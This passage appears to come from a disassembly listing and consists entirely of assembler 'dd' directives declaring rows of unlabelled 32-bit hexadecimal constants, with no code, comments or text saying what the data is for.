		dd 6E807F56h, 118FBF57h, 292C5312h, 0ED06A1B9h,	9A619928h
		dd 11E12F4Bh, 0E7D1E36Ah, 0F01C365h, 245F2959h,	5968135Ch
		dd 0E93FE443h, 5CD1B12Dh, 5C6FB59Eh, 5A70678Ch,	20933E80h
		dd 1D8E36Eh, 8610423Dh,	0CB30C731h, 0B41CBF96h,	4A942D04h
		dd 0FCC12392h, 0A26FA77Bh, 5A00D637h, 7FBE3253h, 0D69F4DE9h
		dd 3A68AD04h, 0C0ACBC3Ch, 43F05278h, 0E9C80C29h, 5A50E5A4h
		dd 105F097h, 131D0B05h,	40D02953h, 0AA0C5FB4h, 0CF814A1Fh
		dd 14853407h, 6818E9C2h, 0E18304C1h, 0EDBCE13Eh, 274D6C64h
		dd 0AF75887h, 232940A0h, 4D8802ADh, 4ADD0E95h, 5E08043Ah
		dd 50618BEFh, 0AD000882h, 0C60574D4h, 0E660A0Fh, 3B04E22Dh
		dd 4091ACF3h, 65276807h, 0A05C7139h, 8B629D19h,	0AFBCCD43h
		dd 0A5254529h, 53CB1A6Ch, 77F51AD5h, 67B585C8h,	50BBFB83h
		dd 27CBCD1Bh, 0A7FC3381h, 2C595B8Ch, 5D488B67h,	548C2782h
		dd 0ED8005BAh, 0B93BC2C1h, 29D9AB0Eh, 0D02BDCD8h, 0C54E8CE9h
		dd 4B8453FDh, 44EB17C7h, 9394AFB7h, 0DB90D3ADh,	0B3F6434Bh
		dd 0E067F665h, 0EB03EEEDh, 496D6C8Ch, 23DA85D9h, 82D1505Eh
		dd 0C1571B95h, 10968D54h, 0F5C60BB0h, 0D0F28CE2h, 0B95B07F2h
		dd 9056452Ch, 3DAA001Dh, 95BE0262h, 264A1852h, 70214709h
		dd 0D3882747h, 103E4B71h, 0C1071ACAh, 0E30F04E0h, 0C3109E2Bh
		dd 0AD2CDBC5h, 4EB1015h, 5B98F780h, 3A3B99FBh, 61D13387h
		dd 20CB7546h, 52765530h, 5C12DF2Fh, 6EE9D856h, 69D4CC49h
		dd 2D16F7E0h, 23E3D332h, 5DC08E6h, 0AF7DE7FBh, 68509B40h
		dd 58C46D1Ah, 9910306Fh
		dd 0A2294F6Ch, 1370F63Fh, 0CA6156E3h, 500EC64h,	4A04277Fh
		dd 518A0F1Eh, 0B26E95A1h, 0AB1584AFh, 0C44445AFh, 0F4268825h
		dd 2A091D12h, 9B6041FBh, 2B61D2B6h, 0FBFDAEF5h,	0BD25BE10h
		dd 31CE8818h, 2D2405CCh, 71D8F446h, 8A8557Eh, 1E915DE8h
		dd 0F88B7425h, 0C29E95E9h, 4BC1592Fh, 0EF4DF874h, 0BAC92F21h
		dd 0F9D05202h, 0B8716007h, 0F48F5939h, 0A2E84F07h, 6C511703h
		dd 1EEE2944h, 625D0881h, 0B95910BCh, 7DAC4Ah, 0B652E4EBh
		dd 79EEC0F5h, 38CE3B06h, 0FE02E60Bh, 19A9EC8Fh,	0EC9FDD66h
		dd 4E8C5975h, 2F70994Bh, 87EC538Dh, 9825FBE9h, 0E9DF7Ah
		dd 0A5F3585Dh, 10386203h, 13B8B0E9h, 4AEF830h, 0CDFB3A51h
		dd 5EB60B29h, 0B04022B3h, 746C7229h, 51C71469h,	0E74D08B9h
		dd 4976582Dh, 95B9E9C1h, 7BE4446Bh, 18851EC1h, 56E0D913h
		dd 0CC1A1292h, 0BD56B44Bh, 0D69FF512h, 533CC3E8h, 18604EA5h
		dd 55B0E480h, 0ED37F20h, 68565B5Ah, 973A4828h, 4A8F4B23h
		dd 59688B54h, 0E909A405h, 11F597F2h, 0DD405975h, 0B5D6F65Bh
		dd 6CC6F87h, 0ED801ACEh, 1E2DE918h, 0B1FCE4EFh,	15F8567h
		dd 3A72BF7Ch, 62475159h, 800977F1h, 4E47D5E3h, 460CC02Bh
		dd 5017BF28h, 38F88926h, 90109CA4h, 16E45C2Dh, 5C4E1D20h
		dd 0F7CC0ACh, 27B75352h, 0ACBDE1A4h, 7458CBC5h,	37024660h
		dd 305A6633h, 0F209D1B0h, 0A2DDEE04h, 63049938h, 0F41B217Ah
		dd 49147ED6h, 5AFA76D8h, 0C02438Dh, 2023C45Dh, 0BE0AD046h
		dd 0B72905FCh, 24E2BA08h, 4DA502E0h, 60FF2097h,	0EE781A5h
		dd 455B77CCh, 2DE442DEh, 3E403F63h, 22774DFEh, 0D1D0F70Fh
		dd 7067A1E0h, 0B478B4E4h, 0C650EE25h, 28501391h, 982C3FD8h
		dd 51E405ADh, 87B408BDh, 0D098213h, 0B8FCEB60h,	4A850F03h
		dd 0AECC1ECBh, 0E9D03EBAh, 0B61A04E2h, 0FBE68818h, 5AE9033Ch
		dd 0A6D085C6h, 0CE810088h, 1FD408A6h, 0D1FD5E68h, 34E88578h
		dd 0C672884Bh, 965AF126h, 0A99CAA28h, 0FE854427h, 0A008B831h
		dd 824D17E0h, 822F5184h, 38614561h, 0C5C6E403h,	0E919FE73h
		dd 0E88D64D2h, 21339C89h, 70B319FFh, 0EC4F752Ch, 0B27EA1B3h
		dd 0D228B049h, 0BCAD6117h, 80A5EEh, 60C81C08h, 2EE90C43h
		dd 293B3BD0h, 234D2EC3h, 98F03EB8h, 0C56F8606h,	0E77616F7h
		dd 0EA320674h, 0F50F1963h, 0F371E656h, 0C82C32BDh, 9D8120Ch
		dd 265108BAh, 0F835F580h, 4EEA8178h, 6607C801h,	86E4143Ch
		dd 7A47E950h, 0D55B585Ah, 0BA43122Dh, 26E3B6BCh, 0B8808682h
		dd 7034612h, 6D7225h, 0E20D779Eh, 54B6E6Ch, 91932209h
		dd 480AFDB0h, 7A531953h, 0CECD3175h, 458C2E73h,	28F6ED4Dh
		dd 0EC90ED0Eh, 3B341E2Eh, 325553E9h, 0EA13BF2Ah, 4295605h
		dd 0D56F830Fh, 150BAAF9h, 4CC287C5h, 5D59EB02h,	5186616Dh
		dd 6928D1B5h, 0D55EA8E9h, 3DDAF66Bh, 9F61F24Ah,	2187E316h
		dd 6AA54A52h, 0BC4B6641h, 0B468416Ah, 2DB19A71h, 420FF7FDh
		dd 11396AE9h, 8ECA68ECh, 680BF066h, 4D9A23C3h, 0C4600F41h
		dd 0E9176BC0h, 22A45A40h, 0B9135FF7h, 70908440h, 769DAA52h
		dd 7AE9A584h, 8742BF1Fh, 7FA15E65h, 24A252C0h, 0BD292626h
		dd 1711FA02h, 0B23E6030h, 0D8B12F4Bh, 8E3F61F6h, 2F26FDE6h
		dd 20F6E13Ah, 36806E04h, 0AF604FC2h, 0D64EE92Ah, 3CBA9312h
		dd 442EE9B9h, 0FD43404Bh, 2EA54D1Dh, 0E2F18A55h, 4723FB04h
		dd 0D3181029h, 0DE6B5Ch, 0A5786292h, 5A0DFA28h,	0FEF224C9h
		dd 450E2A88h, 17253B4Bh, 4148C1FAh, 86434185h, 105D2994h
		dd 7E7B1073h, 90EE920Bh, 53C33E75h, 1A57E8CFh, 49AE4DBEh
		dd 890028Eh, 9E8C48E1h,	9A05EDCFh, 0DF75F830h, 32F14731h
		dd 0E929DB47h, 4DF3835Fh, 0BD35F078h, 0B7E9177Ch, 0A8DA949Dh
		dd 72EA256Ah, 0C9F1BF3Fh, 4E79C472h, 8A17A4D2h,	72D44A41h
		dd 54DAEBCAh, 15E8DA55h, 82DCF2h, 6F3DEEFEh, 4F01FE7Ah
		dd 0B603A8F7h, 0E68127Dh, 81E48C08h, 57209A41h,	4FC02C44h
		dd 778C1008h, 1706EA3Ch, 0E9BDEB29h, 0B040D7D4h, 1DD760E1h
		dd 1CBA0CF7h, 4A3ABD48h, 0F14EF2F9h, 2CBBCDD6h,	986882AAh
		dd 0C9B0FE19h, 23987F66h, 0B0414F0Ah, 4B19D735h, 0CB40010Dh
		dd 0B73D9C68h, 259F1A94h, 7DFA5157h, 2C387F58h,	0D6C3AA9Ah
		dd 1C3F4A9Fh, 574EF3Dh,	0BFFDB050h, 0E290119Ch,	0EAE2D320h
		dd 7AB459CAh, 0FE0CEF06h, 0F8630AC7h, 0AE282406h, 0BEE927B7h
		dd 1B0B8B72h, 0D62DD657h, 14DA0014h, 55E9798Dh,	0FC27DE9Ch
		dd 8350256h, 0F5E11B63h, 545C02D6h, 8CB8CFEAh, 8B80FE35h
		dd 0B571971Ch, 1CF8CFC4h, 0D642B74Ah, 64A9F9ACh, 494023A9h
		dd 7EE4A057h, 541D0317h, 94880F41h, 8D0EC562h, 97A6F8D2h
		dd 0FB082EF3h, 0C68900E1h, 6FB5BBB1h, 30CEB609h, 53D304EEh
		dd 0E74D05C1h, 0ADBB2681h, 0E81AD057h, 0E1948A77h, 257C7088h
		dd 214DABC4h, 6F064AB0h, 0A07D9039h, 6F5202C0h,	0DC499401h
		dd 9054017Ch, 0A3DFFF34h, 0F309B05Eh, 0CDDD30E9h, 326EE73Bh
		dd 0C16FA61Dh, 840F0781h, 8E6AD2EBh, 7D0C1015h,	5BA2F94Ah
		dd 949F37B8h, 91068CCh,	0D6B82D4Ch, 0B8EAA6FEh,	51AEDCEh
		dd 16EE5282h, 390BBB01h, 0F3604E48h, 93C59FA0h,	1353BF3Dh
		dd 372199AAh, 0C43EE568h, 0C219A213h, 48A5E9F9h, 17C981FEh
		dd 0B80B659Ch, 3E10016Ch, 0ECE96ED5h, 0EC4B503Ch, 0D8E9F1D9h
		dd 0EFA5453Eh, 0E2D1BFF1h, 0F33A357h, 0C0A4545Ch, 0D1617489h
		dd 56522701h, 0CB5D0568h, 48ACB660h, 6588B69Dh,	0EB8A0F03h
		dd 0FAD7B14h, 7F0C0425h, 0D1F98F82h, 85DAA3D5h,	0D9FE8D1Ah
		dd 0DCF33F9Ch, 0AEF8D44Ah, 0C809ECDh, 65C74D55h, 0E92CEF89h
		dd 8A64914h, 5F3E4A2Dh,	0C4224ECEh, 71A3B5ACh, 0C3F58E3h
		dd 52ADD4h, 41C63530h, 0F7651870h, 1C3BF4D8h, 0F16E626h
		dd 74E7B818h, 8E099447h, 58035F3h, 0F78B0F71h, 0E3C198A8h
		dd 0F51297F5h, 5E2791B8h, 2C210AC4h, 0C6E20BDFh, 0E02730C6h
		dd 5D4A1279h, 225D9AB2h, 0D419E974h, 0AD7B2D56h, 613C442Dh
		dd 5EF05556h, 53A06E5Bh, 5022B458h, 0F603BB53h,	3137DB54h
		dd 5B602F5Ch, 0E04B5A96h, 6882A4C4h, 0B980A0D2h, 23F38DFh
		dd 40E18139h, 0F1CAB227h, 3D2CE980h, 0CB90654Fh, 0C4545040h
		dd 4D283BCh, 75FF5B66h,	0C78CB0A9h, 50204009h, 0E3338258h
		dd 0C95DE67Bh, 0C458F960h, 77E5048h, 5FE935ADh,	530A04ABh
		dd 902C747h, 0FB500A74h, 196E9705h, 59977584h, 0F1FCEB35h
		dd 4A27E958h, 84C727A3h, 6A80B1D1h, 0BAE48EA2h,	82780161h
		dd 0F1BF1616h, 0C3E9426Fh, 3CB0F2F0h, 3F89DA4Ah, 9A78BCF4h
		dd 0E72D0CC5h, 0E4708447h, 4857030Bh, 81C25029h, 0CBFC5A08h
		dd 63401FFBh, 8BE3414Fh, 8265B264h, 0B333DC26h,	0AB6E4005h
		dd 2D6FB830h, 45E4DA01h, 4B55B520h, 4BB1D85Ah, 0C27ED941h
		dd 7F78F717h, 562F6812h, 7A13DCA3h, 75B72765h, 2B25F185h
		dd 0D0FCF4B1h, 1A229AEAh, 1DF53B84h, 0FD22C5D2h, 9B072F85h
		dd 98EABB74h, 31558402h, 0EA42401Ah, 0B4FB4C4Eh, 0A3CDD412h
		dd 7FF717EBh, 5BA998CCh, 1179F604h, 2D7F02C4h, 0A8640186h
		dd 32A36814h, 6A358469h, 0C6BBBCBh, 0EF480105h,	680C478Bh
		dd 6E616519h, 36FDE85Ah, 282A4D9h, 63685F5Eh, 0B4BDE51Dh
		dd 0FFD375E3h, 0A7F032FEh, 0A2021CB0h, 1322D29h, 0A1EE2D6h
		dd 0B112C908h, 1469A88Dh, 0DC86C1F4h, 59595262h, 6940C94Ah
		dd 0D1806708h, 5E70B0E8h
		dd 4C75E2A6h, 2ACF2086h, 0B9A7EB89h, 1D2D70D9h,	3F530916h
		dd 74160B8h, 8082343Ah,	0C072F107h, 8B07A90h, 7EB82B20h
		dd 6A71BD66h, 71135426h, 1CAEBB64h, 1D512D30h, 0B0CBEC4Bh
		dd 581D7F61h, 5727C846h, 0B8600659h, 5813937Ch,	28277743h
		dd 0D8D95D09h, 0EF394446h, 0B22E0135h, 2AFD7D55h, 0BDD73AE3h
		dd 4FE9B064h, 14969B53h, 1A222A21h, 15499AB0h, 7302845Eh
		dd 81C28004h, 846E1007h, 28DFEA11h, 4209D9BBh, 2C02D3A5h
		dd 0C975C3ABh, 766B1312h, 5B4B0755h, 0EA2FC7F6h, 0F5A0C8DAh
		dd 0E483CF9Ah, 0C94A31EDh, 37EA8263h, 7771AB2Ah, 9F8BDEE5h
		dd 8CB2D9B0h, 0D7E1CA49h, 5CD2E7ABh, 0F8BDEBC8h, 9390FC16h
		dd 40A088B4h, 5F775AD7h, 16C1BEE5h, 25AA4387h, 0EDC0BF67h
		dd 0E1E7B050h, 0C0580C96h, 0F8E926F6h, 0A665F45Fh, 0D6FD1C53h
		dd 0EBBE52C5h, 0F85E2A62h, 7B67B7D0h, 0A24AAA0h, 0DD08B456h
		dd 2CAC0764h, 0C8B5927Ch, 173F56DCh, 28BF0F9Bh,	269F3362h
		dd 95CF202Bh, 3F780EF4h, 0EA6CBD6Ah, 5A545254h,	5CD30127h
		dd 94FF7A37h, 42B2BCD3h, 5303C544h, 137C0E81h, 0BC73F552h
		dd 6B07413Fh, 8ABE2A52h, 21AA9296h, 69505A59h, 0BA8B462h
		dd 37298589h, 3F7E6557h, 0EF769896h, 50855A65h,	0D1ED60BEh
		dd 0C3A1555Ah, 0A3BB04B7h, 0C2512546h, 0E6F7C632h, 0FBF39FA4h
		dd 7B2386EDh, 44BF57A1h, 0BADA841Ch, 0C20C3E53h, 9D6C6BDDh
		dd 0CA8B7F9h, 469F42F0h, 757182ADh, 0ED547B8Ch,	1EE44400h
		dd 7D4BBB53h, 181E6B6h,	3665DEFh, 0A0DF2941h, 5B500890h
		dd 7E410F83h, 8BC160FEh, 22A43E78h, 594ABD82h, 8FF511FBh
		dd 2305D3FFh, 8D822E71h, 4A666C52h, 1BA8BC7h, 850FDB09h
		dd 927AA882h, 0F157C4F7h, 0ADFA4C2Bh, 0BE899F94h, 34C5DA10h
		dd 139F9863h, 0E047B8B7h, 4BE61F5h, 0BBE9ABC5h,	0FE8E91FCh
		dd 0E8D7EE04h, 808CB3EDh, 5913B5BDh, 0E8BD6002h, 256C310h
		dd 541A9A2Dh, 4249E019h, 27109D4Dh, 935F608Ch, 68C498ACh
		dd 22FE16E6h, 6FFC53A0h, 1C8D50A5h, 25490B68h, 0E9EC3877h
		dd 4DDC9AB8h, 58B2056h,	0E98BC4D6h, 75ED4226h, 0E98CBC47h
		dd 2BD3BEDh, 25457F79h,	0A8D44481h, 0E947E962h,	447FF6BBh
		dd 22410150h, 9A9C770Ch, 0A3BB257Bh, 0E562D16h,	50ADB909h
		dd 0EF389DE0h, 5B814556h, 0EE16730h, 0C0B4ED80h, 406086Ch
		dd 0C940F5F2h, 0BAE097A3h, 0E5BFF4EAh, 6A6E083Dh, 983F627h
		dd 0A850F921h, 74106825h, 65986DCBh, 63CF3A57h,	0EFAF0F16h
		dd 4084D921h, 2CFA6800h, 3100EEB3h, 0B9065B0Eh,	1219765Fh
		dd 0CAD92916h, 0E1C11723h, 9CCC22E0h, 34562DFEh, 30C1E8E2h
		dd 3604E0BAh, 0FCE97B35h, 78337193h, 0C5A227A4h, 0BCBA17Eh
		dd 23AEDF45h, 498AD0A5h, 560F66A9h, 8CAF54C4h, 0EE3E80BBh
		dd 5ECE2690h, 0A5365A98h, 449BC95Bh, 5872995Fh,	67041381h
		dd 2A1BE54Dh, 0C4021A7h, 68500256h, 28696A8Ah, 0D8009F9h
		dd 73C77F06h, 4C42092Dh, 8A7A5097h, 780844C7h, 0E97F36E1h
		dd 88AC4FD1h, 53E7978Bh, 14F10A3Fh, 532DBDBEh, 0DA175B5Ch
		dd 0C02B6B80h, 0E5810267h, 23B217ACh, 324A181h,	3E31D980h
		dd 83EFD4C0h, 53352D0Bh, 0C7507C50h, 0B0955D08h, 0EDB6E962h
		dd 0E87C798Bh, 0E1534A5Ch, 5A7EA311h, 0E8554C40h, 0BF2C8B42h
		dd 0E9E16ED3h, 0CC2E53A1h, 0F0FB8EAh, 0CB7C952Ah, 66CD6294h
		dd 685101C3h, 7907011Fh, 3FC8CAE9h, 81700F4Bh, 5DCD8B95h
		dd 8673C4A3h, 8B5D69DAh, 4F225574h, 0A056EAA8h,	0A21E708Fh
		dd 75DFF72Ch, 9B4FA1C1h, 51621C2h, 515FFED2h, 1827F2B9h
		dd 40CE59CEh, 86FB3CB1h, 1ED6F2A5h, 4536005Bh, 0BD1BB540h
		dd 112D8B26h, 0A7E56381h, 0E43B8F31h, 0B291FC47h, 0C02F2B20h
		dd 0C43CF75Ah, 0C70C81F1h, 314E8DECh, 0D6FAB06Eh, 0F0215A02h
		dd 0F2A8F7E9h, 778F0D6Dh, 0E4C36A47h, 2F1401CFh, 0EF5481Fh
		dd 732E3514h, 0A42A72E0h, 3E9E20E7h, 56CA802Fh,	51950B75h
		dd 0EB5DCA0h, 4198C5FEh, 4DB7A40Bh, 42DB5E5Bh, 400B5082h
		dd 85A7E094h, 5976578Bh, 0FC5013F7h, 0C1BD8E95h, 293D2313h
		dd 3099B13Eh, 0C84E3122h, 0C584FFFDh, 0C4540EB1h, 0B9D944FBh
		dd 6E304965h, 3E714195h, 4AB102E0h, 0A126B54Ah,	0F2A71BE2h
		dd 55BB047Dh, 0C07F6E0Dh, 286C2F9Bh, 0EBD15C17h, 0DFB024B8h
		dd 0F130E15h, 20FFE6D1h, 22257638h, 0F46B0D41h,	0A60F1582h
		dd 4BE9FD19h, 9FD6F46Ch, 3C85B903h, 0C02AE713h,	2D0FFD94h
		dd 0C131410Bh, 589FF58h, 1C9662E4h, 0C79794BDh,	0D988EC8h
		dd 29F5C9E8h, 0F38A166Eh, 0D9BD4BC6h, 0A36F4651h, 16B895E3h
		dd 45216E28h, 0AD046175h, 0D3AFD2CBh, 50B158B3h, 553D7E05h
		dd 897820FDh, 82D00119h, 54413B6Ah, 3B3F3D1Dh, 40E68E41h
		dd 80470ED5h, 0D935330h, 0BE28F921h, 0B0804EA2h, 6F920947h
		dd 6EAEE93Ah, 80EE0052h, 1F5990C6h, 0A65AF030h,	0FA1C3473h
		dd 0D2160F8Eh, 22D9453Ch, 0AFC798CAh, 70BB9F40h, 7363DF3h
		dd 51090E2Dh, 2F2DCC5Fh, 0BAE55DCDh, 0D1E95185h, 0FF61588h
		dd 154A3FE1h, 0EBCE537Dh, 1565DD39h, 1C0ADF2Bh,	4C9ED188h
		dd 62AE01D3h, 0F292B1C5h, 8C36BE22h, 29E2935Ch,	7845F5D8h
		dd 5D2BEAA7h, 68C01893h, 47883837h, 0F579B777h,	0FD9C68C2h
		dd 0F0970046h, 714C201Ah, 4941B901h, 3C71326h, 0B290640h
		dd 95F07FE9h, 47CBE168h, 0F035C22Dh, 4F3C04F9h,	80D2F73Ah
		dd 53037409h, 8A255100h, 0D1A484Bh, 33261D1Eh, 0E913FC02h
		dd 8816824Eh, 349996C3h, 51834887h, 3168A840h, 0CFCF6632h
		dd 0B42E6854h, 297F93C0h, 68531DB9h, 3866655Bh,	50FEF420h
		dd 1606E95Dh, 8277561h,	3A28D61Ah, 0BF80EB71h, 0B223007Dh
		dd 0DC87BA4Bh, 40B5B44Dh, 3CD472EBh, 856EE925h,	0BE3BE8A4h
		dd 5505D649h, 3B68968h,	4E65EEBDh, 0C20D0151h, 20357D7Bh
		dd 0D41AFC1h, 98E75434h, 0B8EF0042h, 0E912E343h, 0B9D2F18Ch
		dd 911F24h, 0F283D0F7h,	1CD59219h, 0E95D800Dh, 0D47E91A0h
		dd 7380EBA5h, 5CEAC08Ch, 5F10CF07h, 0F2800942h,	5A4907B9h
		dd 9205E9F3h, 22B77419h, 17D9D3EEh, 1274F88Bh, 9AB8C3E9h
		dd 0C44BE24Bh, 30094460h, 5D156922h, 0C7C7DE0Bh, 0BCD60990h
		dd 716DD7Ah, 0BC9D19Dh,	60463B33h, 3590144h, 0E91C4F09h
		dd 233BF630h, 0C4C192F5h, 58361E44h, 2C3237BBh,	200CB8E7h
		dd 2E8F55A0h, 0A6F1D869h, 199AAAF0h, 505F67F1h,	2D24E9C2h
		dd 6861D78Dh, 25330BAFh, 0EF106C4Ch, 60DC9AA5h,	82EA2762h
		dd 3802C4C1h, 5DB2D306h, 89844619h, 0EF2830F7h,	8A50870Bh
		dd 57C80B3h, 0FE494C6Ah, 0A1EBFCFBh, 0D3385F08h, 2DC3D3DFh
		dd 0B49E3CBFh, 56EC4BEAh, 0BF6D4B04h, 0D6A28F12h, 0FBA7EC84h
		dd 26682598h, 6943313Ch, 5276BE80h, 0E92A7557h,	812FC5BDh
		dd 0D79B5AEEh, 27A7A90Ch, 1678945Fh, 0AF58F6E9h, 7143431h
		dd 0BC868C6Ah, 8F2C564Eh, 43DEA8F2h, 54E348C1h,	0DEE27125h
		dd 1818E7FFh, 13E9555Ch, 67BB824Bh, 58FDB580h, 0B5FA6D5h
		dd 0F897CCECh, 665A246Fh, 10172472h, 482F7539h,	0C58171FBh
		dd 3A660466h, 0C573AC71h, 0DAEE4A4Dh, 5CF81386h, 0B4A563FEh
		dd 32B76F7Ch, 0E5F109A2h, 0AC8A022h, 64E15C75h,	0BDB8438Bh
		dd 7D8DB325h, 0ABE6B530h, 2B49EBBEh, 0DD29FF54h, 83185403h
		dd 53A5215Eh, 4EC01530h, 9FCEF375h, 12D06C93h, 58EFC1D7h
		dd 53F1607h, 813D0170h
		dd 457DD3F2h, 98862A0Fh, 46CB006h, 73228AEAh, 9787AA24h
		dd 5067F790h, 0BD29EEFEh, 0D6136702h, 940C6803h, 59E028CDh
		dd 90BA9C7Dh, 0BF5703D0h, 0B9ED2BCCh, 53AFD29h,	8369D25Ch
		dd 10B50148h, 5D31089Ch, 1C8EAD8h, 16DCDBB2h, 0A520990Fh
		dd 0D6482A69h, 723C321h, 0A56E042Eh, 732FFFAh, 9E5D58BFh
		dd 1BE9F0E0h, 0F0BC592h, 0D209AA85h, 753CFA64h,	2CBA9C80h
		dd 22F40294h, 0C1A2E188h, 4A0B987Dh, 693D7601h,	7CEF1080h
		dd 95B83E1Dh, 0DC253A96h, 82F0D282h, 0C40DE924h, 81D7A8AFh
		dd 8F227B13h, 0D96DEB5Fh, 412A70D5h, 0F0DE8C47h, 2BA02B0Ah
		dd 0D185A149h, 186BA00h, 4A0B827Bh, 0A53D8E0Fh,	9382422Fh
		dd 5201D4DAh, 8408BBF9h, 55520BF6h, 0DF5ADC40h,	0E7BA1A50h
		dd 4DA22D12h, 6DC49716h, 60419FBAh, 374BBE56h, 3114854h
		dd 2923CC05h, 0C0F9C27Eh, 9E8A2AD0h, 97CB3457h,	10ADC6D6h
		dd 0B63DB38Bh, 0E65EBFACh, 25074C17h, 0FB17E2C9h, 4C762F2Ah
		dd 4069E89Ah, 2409C957h, 124C7E1Bh, 56E9605Dh, 0BC5F49E9h
		dd 487863D2h, 187DBDBEh, 4029D219h, 0C91034F4h,	0E909210Bh
		dd 8B7E0AB1h, 0F90BDF72h, 61C73A10h, 3F387D12h,	2D23B801h
		dd 4061743Ch, 0C719273Fh, 62CBE249h, 5B3F41D7h,	0AD0D343Eh
		dd 93B34067h, 5BA2B2Ch,	14CF6F08h, 0F55EE0ADh, 7140CEBDh
		dd 0C29D0CC6h, 5B07007Fh, 963F6C68h, 5E8C626Bh,	0DE873104h
		dd 0F6A4E834h, 0B8B2BAC2h, 1A80731Dh, 4DEF6C4h,	187DCA04h
		dd 3D58E8C4h, 99AA186Ch, 7EF9B7D5h, 0A55EF28Fh,	54BDDBDCh
		dd 958A2477h, 40B86007h, 6E7D7B80h, 0A702AB4Ah,	0D70EDF68h
		dd 9BFC4466h, 761CA16Bh, 52B2E266h, 699D267Eh, 898B9AA7h
		dd 95CE7735h, 0C49851B7h, 4DC8FA05h, 88754A90h,	0B93F517Ch
		dd 74C3172Eh, 0F10392FDh, 35FB0E49h, 1BDA6005h,	4EC341BEh
		dd 718F7BC2h, 23913D77h, 0ADF05893h, 643BC8CEh,	0B192BC54h
		dd 0CA2A615Eh, 0E24C25FEh, 3B015F9Dh, 0D0F5814Dh, 0E803176Ah
		dd 7E2A1505h, 5516A82Bh, 0EC094A08h, 0D607419Eh, 3857118Dh
		dd 30A75B0Ah, 0F7685C83h, 5DF5989Ch, 0AC69900h,	0C833852Dh
		dd 1902B53Bh, 5D04E84Ch, 550265C2h, 22A5C7F9h, 1A51E19h
		dd 0CD9CEB80h, 0CCFFD6C3h, 81287A7Ah, 1FE42A2Eh, 7FBE2C68h
		dd 35D962DBh, 2BA5AAB8h, 258E73B7h, 0E9126EDBh,	35AB27AFh
		dd 88268C8Eh, 8E580326h, 0FB386249h, 2CE9E121h,	0C97E86h
		dd 0ACE5D0C1h, 0D1E0F5F3h, 0F5DDEDD1h, 0BF01B76Ch, 3A744917h
		dd 60B72189h, 0FE8085AEh, 2A6195CAh, 38E1EDDDh,	455F27DDh
		dd 0ADEC9D1Eh, 6297D66Eh, 0D37957E4h, 286DCF88h, 1F8073D8h
		dd 0BF328F1h, 0DF796CCBh, 40FFF12Dh, 2E7E950h, 2DBF53B5h
		dd 0E9278EDBh, 0C15418F6h, 0E5CD9600h, 0E67CAC0Fh, 16475B8Fh
		dd 848AA96Eh, 11279FDh,	2809157h, 0A1442BA0h, 0B2BA9B0Dh
		dd 288301D6h, 0DAF73421h, 5BBC6D60h, 81A8493Eh,	0D7E8B1Ah
		dd 0D17E3402h, 0B68D75E3h, 0A026E06h, 891B5644h, 0DF9D8991h
		dd 58C14130h, 802DB29Bh, 3D7C7E3Fh, 0D4EC9517h,	5F6E8BBFh
		dd 840F4981h, 31213CEDh, 0E428EE48h, 8313E27Bh,	0BACD8B58h
		dd 606655C0h, 0A1442EFDh, 34FF3479h, 30C8A317h,	14681D6Bh
		dd 0CCEDB742h, 2FFDAB88h, 0AA55FD04h, 0B828F8D8h, 9F3478D1h
		dd 7E4825E0h, 2B386082h, 6A803324h, 0C889340Ch,	0DAC7016Dh
		dd 2D63C4h, 412F29ABh, 0BE56F801h, 1CE908A0h, 0A9E8075Bh
		dd 126870C4h, 455952F1h, 0E916722Ch, 52DDBC39h,	5F05A2ABh
		dd 0E9156BF0h, 13836489h, 338C1016h, 8B335EDBh,	909E4E6Fh
		dd 0C5EBE912h, 3037EAC3h, 0FD954BB5h, 3FB073AAh, 91E9190Ah
		dd 5D121C7Dh, 40D868D8h, 51EA28F9h, 2E6BB13Dh, 5D93D06Eh
		dd 698941BEh, 0F845F553h, 5C9A896Ch, 0EA39AC98h, 0E8C5879Eh
		dd 0ED87D528h, 0FC748B5Bh, 9C56930h, 0AA3E488h,	0BDC6FB68h
		dd 8B80D314h, 0B29BED6h, 836F3920h, 59802185h, 0BD9E9750h
		dd 0B18952D3h, 0C87EC5Fh, 95E0A2Ah, 4087C322h, 4DD7B6EAh
		dd 344388C0h, 5509492Eh, 0AB9CD7AFh, 0E9F82109h, 9F6850A6h
		dd 7079EB38h, 13274F86h, 2EBE29Bh, 47FD90Dh, 2A8BF530h
		dd 0E0287B00h, 0ED9021F3h, 0B0BE9F6h, 5E4AB668h, 0A9D6289h
		dd 0A0B85ED1h, 59BE0558h, 82089F60h, 0C10395FFh, 27C5C4E3h
		dd 0BA944704h, 0C07BE1E5h, 6E3E2B9Bh, 614354Ch,	0D8F7072Dh
		dd 53AEC04h, 0E9154764h, 0A22E832h, 9A74800Fh, 65F38180h
		dd 0F844514Fh, 0EDAE5F83h, 0E9C927C9h, 0D6DCE5DFh, 0BE1CB5DAh
		dd 51580A96h, 758250h, 0A41485E9h, 6377F84Eh, 0BCB418B5h
		dd 89AB95BFh, 0BD1344D0h, 0CEEAD237h, 29B85F9Ah, 9D70F6E2h
		dd 0E1B4BF4Fh, 9302FE68h, 648508D6h, 0E6E8D10Ah, 5EDF6909h
		dd 482E6297h, 97E92414h, 0EA4ABBB9h, 5BE94E68h,	0C20640DDh
		dd 55EA2B3h, 62F3295Ch,	0F13EAF46h, 1168AD61h, 0BF90C588h
		dd 975FF539h, 0A0571CDh, 6F7DE47h, 51530760h, 1512AEB9h
		dd 0E8142E25h, 0E7498E7Fh, 9EC3A1E1h, 0AFF1E86Fh, 3ECD303Bh
		dd 3630ED0Ch, 37186EF1h, 1AFE9144h, 123142AEh, 5C39147Fh
		dd 0CA100D54h, 58B5165Eh, 28180DFEh, 66E8CCB2h,	5AA6595Ah
		dd 0EC414713h, 3488C435h, 8BBF91EEh, 4F5606F0h,	2F31F160h
		dd 35E99178h, 0CE358774h, 0F0804195h, 0ED980F29h, 0B290B529h
		dd 0EE925A9Fh, 0A7746854h, 0FA44E0F4h, 0DC70AEE4h, 424362Ch
		dd 0D5E95495h, 0BEBF9F3h, 815F295Dh, 1E3968CCh,	0D691A588h
		dd 0C10FE320h, 6962044Dh, 7D2E2922h, 2C5AD8EEh,	0C3613B05h
		dd 705E8FFCh, 0ABA5201h, 11D16B12h, 3D182703h, 0D70CDE42h
		dd 550A9E1h, 0E70A94F2h, 35125585h, 0C1E32CBBh,	2C99525Fh
		dd 0BD9220C1h, 0BA795636h, 2A850D2Dh, 0BB2E1B59h, 559C2981h
		dd 2EE93DECh, 0C91837FCh, 4D150B01h, 0A11E8936h, 0B8D2D1E6h
		dd 9584345Ch, 8E6801C0h, 0B7705037h, 297A409Dh,	22A0DA4Eh
